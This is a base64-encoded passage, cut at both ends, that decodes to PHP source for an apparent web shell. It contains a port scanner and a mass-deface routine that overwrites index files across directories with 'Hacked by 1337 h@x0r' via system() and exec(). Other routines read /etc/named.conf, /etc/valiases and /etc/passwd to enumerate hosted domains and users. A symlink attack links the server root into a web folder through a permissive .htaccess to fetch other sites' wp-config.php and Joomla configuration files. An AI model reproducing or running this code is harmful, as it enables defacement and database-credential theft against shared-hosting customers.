B1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJlbmQiIHZhbHVlPSI1MDAwIi8+PGJyIC8+PGJyIC8+CiAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNjYW4gUG9ydHMiIC8+CiAgICAgICAgICAgICAgPC9mb3JtPjwvY2VudGVyPjxiciAvPjxiciAvPic7CiAgICB9CiAgICBlY2hvICc8L2Rpdj4nOwogICAgcHJpbnRGb290ZXIoKTsgICAgCn0KIGZ1bmN0aW9uIGFjdGlvbkRvbWFpbigpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludEhlYWRlcigpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxoMT5sb2NhbCBkb21haW4gdmlld2VyPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmlsZSA9IEBpbXBsb2RlKEBmaWxlKCIvZXRjL25hbWVkLmNvbmYiKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkZmlsZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkaWUoIiMgY2FuJ3QgUmVhRCAtPiBbIC9ldGMvbmFtZWQuY29uZiBdIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByZWdfbWF0Y2hfYWxsKCIjbmFtZWQvKC4qPykuZGIjIiwgJGZpbGUsICRyKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZG9tYWlucyA9IGFycmF5X3VuaXF1ZSgkclsxXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy9jaGVjaygpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vaWYoaXNzZXQoJF9HRVRbJ1Nob3dBbGwnXSkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dGFibGUgYWxpZ249Y2VudGVyIGJvcmRlcj0xIHdpZHRoPTU5JSBjZWxscGFkZGluZz01Pgo8dHI+PHRkIGNvbHNwYW49Mj5bK10gVGhlcmUgYXJlIDogWyA8Yj4iIC4gY291bnQoJGRvbWFpbnMpIC4gIjwvYj4gXSBEb21haW48L3RkPjwvdHI+Cjx0cj48dGQ+RG9tYWluPC90ZD48dGQ+VXNlcjwvdGQ+PC90cj4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkZG9tYWlucyBhcyAkZG9tYWluKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIiAuICRkb21haW4pKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjx0cj48dGQ+JGRvbWFpbjwvdGQ+PHRkPiIgLiAkdXNlclsnbmFtZSddIC4gIjwvdGQ+PC90cj4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvdGFibGU+IjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC9kaXY+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludEZvb3RlcigpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQkJCQkJCQkJCQkJCQpmdW5jdGlvbiBhY3Rpb25EZWZhY2UoKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnRIZWFkZXIoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8aDE+U2luZ2xlIFVzZXIgTWFzcyBEZWZhY2U8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4iOwo/Pgo8Zm9ybSBFTkNUWVBFPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBhY3Rpb249Ijw/JF9TRVJWRVJbJ1BIUF9TRUxGJ10/PiIgbWV0aG9kPVBPU1Qgb25TdWJtaXQ9ImcobnVsbCxudWxsLHRoaXMucGF0aC52YWx1ZSx0aGlzLmZpbGUudmFsdWUsdGhpcy5Db250ZW50cy52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+CjxwIGFsaWduPSJMZWZ0Ij5Gb2xkZXI6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXRoIHNpemU9NjAgdmFsdWU9Ijw/PWdldGN3ZCgpOyA/PiI+Cjxicj5maWxlIG5hbWUgOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZmlsZSBzaXplPTIwIHZhbHVlPSJpbmRleC5odG0iPgo8YnI+VGV4dCBDb250ZW50IDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPUNvbnRlbnRzIHNpemU9MjAgdmFsdWU9IkhhY2tlZCBieSAxMzM3IGhAeDByIj4gCjxicj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IlVwZGF0ZSI+PC9wPjwvZm9ybT4KPD9waHAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJF9QT1NUWydhJ10gPT0gJ0RlZmFjZScpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG1haW5wYXRoID0gJF9QT1NUW3AxXTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGUgPSAkX1BPU1RbcDJdOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdHh0Q29udGVudHMgPSAkX1BPU1RbcDNdOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTxicj4KWytdIFNpbmdsZSB1c2VyIE1hc3MgZGVmYWNlcjxicj4KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS08YnI+PGJyPiAiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGlyID0gb3BlbmRpcigkbWFpbnBhdGgpOyAvL2ZpeG1lIC0gY2Fubm90IGRlZmFjZSB3aGVuIGNoYW5nZSB0byB3cml0ZWFibGUgcGF0aCEhCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgkcm93ID0gcmVhZGRpcigkZGlyKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0YXJ0ID0gQGZvcGVuKCIkcm93LyRmaWxlIiwgIncrIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29kZSA9ICR0eHRDb250ZW50czsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmaW5pc2ggPSBAZndyaXRlKCRzdGFydCwgJGNvZGUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRmaW5pc2gpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJodHRwOi8vJHJvdy8kZmlsZTxicj4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RybmNhc2VjbXAoUEhQX09TLCAnV0lOJywgMykgPT0gMCkgewogICAgZXhlYygiZm9yIC9yICVjZCUgJWkgaW4gKC4pIGRvIEBjb3B5ICRmaWxlICVpIDE+TlVMIik7Cn0gZWxzZSB7CiAgICAgIHN5c3RlbSgiZmluZCAkUFdNIC10eXBlIGQgLWV4ZWMgY3AgJGZpbGUge30gXDsiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KCQkJCQkJCQkJCQkJCQkJCQkJfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTxicj48YnI+WytdIFNjcmlwdCBieSAxMzM3IGhAeDByIFsrXSI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvZGl2Pic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnRGb290ZXIoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KZnVuY3Rpb24gYWN0aW9uU3ltbGluaygpIHsKICAgIHByaW50SGVhZGVyKCk7CiAgICBlY2hvICc8aDE+U3ltbGluazwvaDE+JzsKICAgICRmdXJsID0gJ2h0dHA6Ly8nLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddOwogICAgJGV4cGxkID0gZXhwbG9kZSgnLycsJGZ1cmwgKTsKICAgICRidXJsID1zdHJfcmVwbGFjZShlbmQoJGV4cGxkKSwnJywkZnVybCk7ICAKICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbnRlbnQiPjxjZW50ZXI+CiAgICAgICAgICAgICAgICA8aDM+WyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnc3ltbGlua1wnLG51bGwsXCd3ZWJzaXRlXCcsbnVsbCkiPkRvbWFpbnM8L2E+IF0gLSAKICAgICAgICAgICAgICAgICAgICBbIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdzeW1saW5rXCcsbnVsbCxcJ3dob2xlXCcsbnVsbCkiPldob2xlIFNlcnZlciBTeW1saW5rPHN1cCBzdHlsZT0iY29sb3I6cmVkO3RleHQtZGVjb3JhdGlvbjpibGluazsiPjwvc3VwPjwvYT4gXSAtIAogICAgICAgICAgICAgICAgICAgIFsgPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ3N5bWxpbmtcJyxudWxsLFwnY29uZmlnXCcsbnVsbCkiPkNvbmZpZyBmaWxlcyBzeW1saW5rPC9hPiBdPC9oMz48L2NlbnRlcj4nOwogICAgaWYoaXNzZXQoJF9QT1NUWydwMSddKSAmJiAkX1BPU1RbJ3AxJ109PSd3ZWJzaXRlJykKICAgIHsKICAgICAgICBlY2hvICI8Y2VudGVyPiI7CiAgICAgICAgJGQwbWFpbnMgPSBAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIik7CiAgICAgICAgaWYoISRkMG1haW5zKXsgCiAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+Q2FudCBhY2Nlc3MgdGhpcyBmaWxlIG9uIHNlcnZlciAtPiBbIC9ldGMvbmFtZWQuY29uZiBdPC9wcmU+PC9jZW50ZXI+IjsgCiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZWNobyAiPHRhYmxlIGFsaWduPWNlbnRlciBjbGFzcz0nbWFpbicgYm9yZGVyPTAgPjx0cj48dGg+IENvdW50IDwvdGg+PHRoPiBEb21haW5zIDwvdGg+PHRoPiBVc2VycyA8L3RoPjwvdHI+IjsKICAgICAgICAgICAgJHVuayA9IGFycmF5KCk7CiAgICAgICAgICAgIGZvcmVhY2goJGQwbWFpbnMgYXMgJGQwbWFpbil7CiAgICAgICAgICAgICAgICBpZihAZXJlZ2koInpvbmUiLCRkMG1haW4pKXsKICAgICAgICAgICAgICAgICAgICBwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTsKICAgICAgICAgICAgICAgICAgICBmbHVzaCgpOwogICAgICAgICAgICAgICAgICAgIGlmKHN0cmxlbih0cmltKCRkb21haW5zWzFdWzBdKSkgPiAyKXsKICAgICAgICAgICAgICAgICAgICAgICAgJHVua1tdID0gJGRvbWFpbnNbMV1bMF07CiAgICAgICAgICAgICAgICAgICAgICAgIGZsdXNoKCk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgICRjb3VudD0xOwogICAgICAgICAgICAkdW5rID0gYXJyYXlfdW5pcXVlKCR1bmspOwogICAgICAgICAgICAkbD0wOwogICAgICAgICAgICBmb3JlYWNoKCR1bmsgYXMgJGQpewogICAgICAgICAgICAgICAgJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGQpKTsKICAgICAgICAgICAgICAgIGVjaG8gIjx0ciIuKCRsPycgY2xhc3M9bDEnOicnKS4iPjx0ZD4iLiRjb3VudC4iPC90ZD48dGQ+PGEgaHJlZj1odHRwOi8vIi4kZC4iLz4iLiRkLiI8L2E+PC90ZD48dGQ+Ii4kdXNlclsnbmFtZSddLiI8L3RkPjwvdHI+IjsKICAgICAgICAgICAgICAgIGZsdXNoKCk7CiAgICAgICAgICAgICAgICAkY291bnQrKzsKICAgICAgICAgICAgICAgICRsPSRsPzA6MTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICI8L3RhYmxlPiI7CiAgICAgICAgfQogICAgICAgIGVjaG8gIjwvY2VudGVyPiI7IAogICAgfQogICAgaWYoaXNzZXQoJF9QT1NUWydwMSddKSAmJiAkX1BPU1RbJ3AxJ109PSd3aG9sZScpCiAgICB7CiAgICAgICAgZWNobyAiPGNlbnRlcj4iOwogICAgICAgIEBta2RpcignUENBX3N5bScsMDc3Nyk7CiAgICAgICAgJGhkdCAgPSAiT3B0aW9ucyBhbGxcbkRpcmVjdG9yeUluZGV4IFN1eC5odG1sXG5BZGRUeXBlIHRleHQvcGxhaW4gLnBocFxuQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHBcbkFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbFxuQWRkSGFuZGxlciB0eHQgLmh0bWxcblJlcXVpcmUgTm9uZVxuU2F0aXNmeSBBbnkiOwogICAgICAgICRoZnAgPUBmb3BlbiAoJ1BDQV9zeW0vLmh0YWNjZXNzJywndycpOwogICAgICAgIGZ3cml0ZSgkaGZwICwkaGR0KTsKICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJ3N5bWxpbmsnKSkgewogICAgICAgICAgICBAc3ltbGluaygnLycsJ1BDQV9zeW0vcm9vdCcpOwogICAgICAgIH0KICAgICAgICAkZDBtYWlucyA9IEBmaWxlKCcvZXRjL25hbWVkLmNvbmYnKTsKICAgICAgICBpZighJGQwbWFpbnMpIHsKICAgICAgICAgICAgZWNobyAiPHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz4jIENhbnQgYWNjZXNzIHRoaXMgZmlsZSBvbiBzZXJ2ZXIgLT4gWyAvZXRjL25hbWVkLmNvbmYgXTwvcHJlPjwvY2VudGVyPiI7CiAgICAgICAgICAgIGVjaG8gIjx0YWJsZSBhbGlnbj0nY2VudGVyJyB3aWR0aD0nNDAlJyBjbGFzcz0nbWFpbic+PHRyPjx0aD4gQ291bnQgPC90aD48dGg+IERvbWFpbnMgPC90aD48dGg+IFVzZXIgPC90aD48dGg+IFN5bWxpbmsgPC90aD48L3RyPiI7CiAgICAgICAgICAgICRkdCA9IGZpbGUoJy9ldGMvcGFzc3dkJyk7CiAgICAgICAgICAgICRsPTA7CiAgICAgICAgICAgIGZvcmVhY2goJGR0IGFzICRkKSB7CiAgICAgICAgICAgICAgICAkciA9IGV4cGxvZGUoJzonLCRkKTsKICAgICAgICAgICAgICAgIGlmKHN0cnBvcygkcls1XSwnaG9tZScpKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiPHRyIi4oJGw/JyBjbGFzcz1sMSc6JycpLiI+PHRkPiIuJGouIjwvdGQ+PHRkPi0tLTwvdGQ+PHRkPiIuJHJbMF0uIjwvdGQ+PHRkPjxhIGhyZWY9J1BDQV9zeW0vcm9vdCIuJHJbNV0uIi9wdWJsaWNfaHRtbCcgdGFyZ2V0PSdfYmxhbmsnPnN5bWxpbms8L2E+PC90ZD48L3RyPiI7CiAgICAgICAgICAgICAgICAgICAgJGw9JGw/MDoxOwogICAgICAgICAgICAgICAgICAgICRqKys7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gICAgICAgICAgICAKICAgICAgICAgICAgZWNobyAnPC90YWJsZT4nOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGVjaG8gIjx0YWJsZSBhbGlnbj0nY2VudGVyJyB3aWR0aD0nNDAlJyBjbGFzcz0nbWFpbic+PHRyPjx0aD4gQ291bnQgPC90aD48dGg+IERvbWFpbnMgPC90aD48dGg+IFVzZXIgPC90aD48dGg+IFN5bWxpbmsgPC90aD48L3RyPiI7CiAgICAgICAgICAgICRjb3VudD0xOwogICAgICAgICAgICAkbWNrID0gYXJyYXkoKTsKICAgICAgICAgICAgZm9yZWFjaCgkZDBtYWlucyBhcyAkZDBtYWluKXsKICAgICAgICAgICAgICAgIGlmKEBlcmVnaSgnem9uZScsJGQwbWFpbikpewogICAgICAgICAgICAgICAgICAgIHByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywkZDBtYWluLCRkb21haW4pOwogICAgICAgICAgICAgICAgICAgIGZsdXNoKCk7CiAgICAgICAgICAgICAgICAgICAgaWYoc3RybGVuKHRyaW0oJGRvbWFpblsxXVswXSkpID4yKXsKICAgICAgICAgICAgICAgICAgICAgICAgJG1ja1tdID0gJGRvbWFpblsxXVswXTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJG1jayA9IGFycmF5X3VuaXF1ZSgkbWNrKTsKICAgICAgICAgICAgJHVzciA9IGFycmF5KCk7CiAgICAgICAgICAgICRkbW4gPSBhcnJheSgpOwogICAgICAgICAgICBmb3JlYWNoKCRtY2sgYXMgJG8pIHsKICAgICAgICAgICAgICAgICRpbmZvcyA9IEBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kbykpOwogICAgICAgICAgICAgICAgJHVzcltdID0gJGluZm9zWyduYW1lJ107CiAgICAgICAgICAgICAgICAkZG1uW10gPSAkbzsKICAgICAgICAgICAgfQogICAgICAgICAgICBhcnJheV9tdWx0aXNvcnQoJHVzciwkZG1uKTsKICAgICAgICAgICAgJGR0ID0gZmlsZSgnL2V0Yy9wYXNzd2QnKTsKICAgICAgICAgICAgJHBhc3N3ZCA9IGFycmF5KCk7CiAgICAgICAgICAgIGZvcmVhY2goJGR0IGFzICRkKSB7CiAgICAgICAgICAgICAgICAkciA9IGV4cGxvZGUoJzonLCRkKTsKICAgICAgICAgICAgICAgIGlmKHN0cnBvcygkcls1XSwnaG9tZScpKSB7CiAgICAgICAgICAgICAgICAgICAgJHBhc3N3ZFskclswXV0gPSAkcls1XTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAkbD0wOwogICAgICAgICAgICAkaj0xOwogICAgICAgICAgICBmb3JlYWNoKCR1c3IgYXMgJHIpIHsKICAgICAgICAgICAgICAgIGVjaG8gIjx0ciIuKCRsPycgY2xhc3M9bDEnOicnKS4iPjx0ZD4iLiRjb3VudCsrLiI8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPWh0dHA6Ly8iLiRkbW5bJGotMV0uJy8+Jy4kZG1uWyRqLTFdLicgPC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+Jy4kci4iPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48YSBocmVmPSdQQ0Ffc3ltL3Jvb3QiLiRwYXNzd2RbJHJdLiIvcHVibGljX2h0bWwnIHRhcmdldD0nX2JsYW5rJz5zeW1saW5rPC9hPjwvdGQ+PC90cj4iOwogICAgICAgICAgICAgICAgZmx1c2goKTsKICAgICAgICAgICAgICAgICRsPSRsPzA6MTsKICAgICAgICAgICAgICAgICRqKys7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAnPC90YWJsZT4nOwogICAgICAgIH0KICAgICAgICBlY2hvICI8L2NlbnRlcj4iOyAgICAKICAgIH0KICAgIGlmKGlzc2V0KCRfUE9TVFsncDEnXSkgJiYgJF9QT1NUWydwMSddPT0nY29uZmlnJykKICAgIHsKICAgICAgICBlY2hvICI8Y2VudGVyPiI7CiAgICAgICAgQG1rZGlyKCdQQ0Ffc3ltJywwNzc3KTsKICAgICAgICAkaGR0ID0gIk9wdGlvbnMgYWxsIFxuIERpcmVjdG9yeUluZGV4IFN1eC5odG1sIFxuIEFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIFxuIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIFxuICBBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwgXG4gQWRkSGFuZGxlciB0eHQgLmh0bWwgXG4gUmVxdWlyZSBOb25lIFxuIFNhdGlzZnkgQW55IjsKICAgICAgICAkaGZwID0gQGZvcGVuICgnUENBX3N5bS8uaHRhY2Nlc3MnLCd3Jyk7CiAgICAgICAgQGZ3cml0ZSgkaGZwICwkaGR0KTsKICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJ3N5bWxpbmsnKSkgewogICAgICAgICAgICBAc3ltbGluaygnLycsJ1BDQV9zeW0vcm9vdCcpOwogICAgICAgIH0KICAgICAgICAkZDBtYWlucyA9IEBmaWxlKCcvZXRjL25hbWVkLmNvbmYnKTsKICAgICAgICBpZighJGQwbWFpbnMpIHsKICAgICAgICAgICAgZWNobyAiPHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz4jIENhbnQgYWNjZXNzIHRoaXMgZmlsZSBvbiBzZXJ2ZXIgLT4gWyAvZXRjL25hbWVkLmNvbmYgXTwvcHJlPjwvY2VudGVyPiI7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZWNobyAiPHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnIGNsYXNzPSdtYWluJyA+PHRyPjx0aD4gQ291bnQgPC90aD48dGg+IERvbWFpbiA8L3RoPHRoPiBVc2VyIDwvdGg+Pjx0aD4gU2NyaXB0IDwvdGg+PC90cj4iOwogICAgICAgICAgICAkY291bnQgPSAxOwogICAgICAgICAgICAkbD0wOwogICAgICAgICAgICBmb3JlYWNoKCRkMG1haW5zIGFzICRkMG1haW4pewogICAgICAgICAgICAgICAgaWYoQGVyZWdpKCd6b25lJywkZDBtYWluKSl7CiAgICAgICAgICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCRkMG1haW4sJGRvbWFpbik7CiAgICAgICAgICAgICAgICAgICAgZmx1c2goKTsKICAgICAgICAgICAgICAgICAgICBpZihzdHJsZW4odHJpbSgkZG9tYWluWzFdWzBdKSk+Mil7CiAgICAgICAgICAgICAgICAgICAgICAgICR1c2VyID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcignL2V0Yy92YWxpYXNlcy8nLiRkb21haW5bMV1bMF0pKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGMxID0gJGJ1cmwuJy9QQ0Ffc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJzsKICAgICAgICAgICAgICAgICAgICAgICAgJGNoMDEgPSBnZXRfaGVhZGVycygkYzEpOwogICAgICAgICAgICAgICAgICAgICAgICAkY2YwMSA9ICRjaDAxWzBdOwogICAgICAgICAgICAgICAgICAgICAgICAkYzIgPSAkYnVybC4nL1BDQV9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCc7CiAgICAgICAgICAgICAgICAgICAgICAgICRjaDAyID0gZ2V0X2hlYWRlcnMoJGMyKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGNmMDIgPSAkY2gwMlswXTsKICAgICAgICAgICAgICAgICAgICAgICAgJGMzID0gJGJ1cmwuJy9QQ0Ffc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCc7CiAgICAgICAgICAgICAgICAgICAgICAgICRjaDAzID0gZ2V0X2hlYWRlcnMoJGMzKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGNmMDMgPSAkY2gwM1swXTsKICAgICAgICAgICAgICAgICAgICAgICAgJGM0ID0gJGJ1cmwuJy9QQ0Ffc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnOwogICAgICAgICAgICAgICAgICAgICAgICAkY2gwNCA9IGdldF9oZWFkZXJzKCRjNCk7CiAgICAgICAgICAgICAgICAgICAgICAgICRjZjA0ID0gJGNoMDRbMF07CiAgICAgICAgICAgICAgICAgICAgICAgICRjNSA9ICRidXJsLicvUENBX3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCc7CiAgICAgICAgICAgICAgICAgICAgICAgICRjaDA1ID0gZ2V0X2hlYWRlcnMoJGM1KTsKICAgICAgICAgICAgICAgICAgICAgICAgJGNmMDUgPSAkY2gwNVswXTsKICAgICAgICAgICAgICAgICAgICAgICAgJGM2ID0gJGJ1cmwuJy9QQ0Ffc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJzsKICAgICAgICAgICAgICAgICAgICAgICAgJGNoMDYgPSBnZXRfaGVhZGVycygkYzYpOwogICAgICAgICAgICAgICAgICAgICAgICAkY2YwNiA9ICRjaDA2WzBdOwogICAgICAgICAgICAgICAgICAgICAgICAkYzcgPSAkYnVybC4nL1BDQV9zeW0vcm9vdC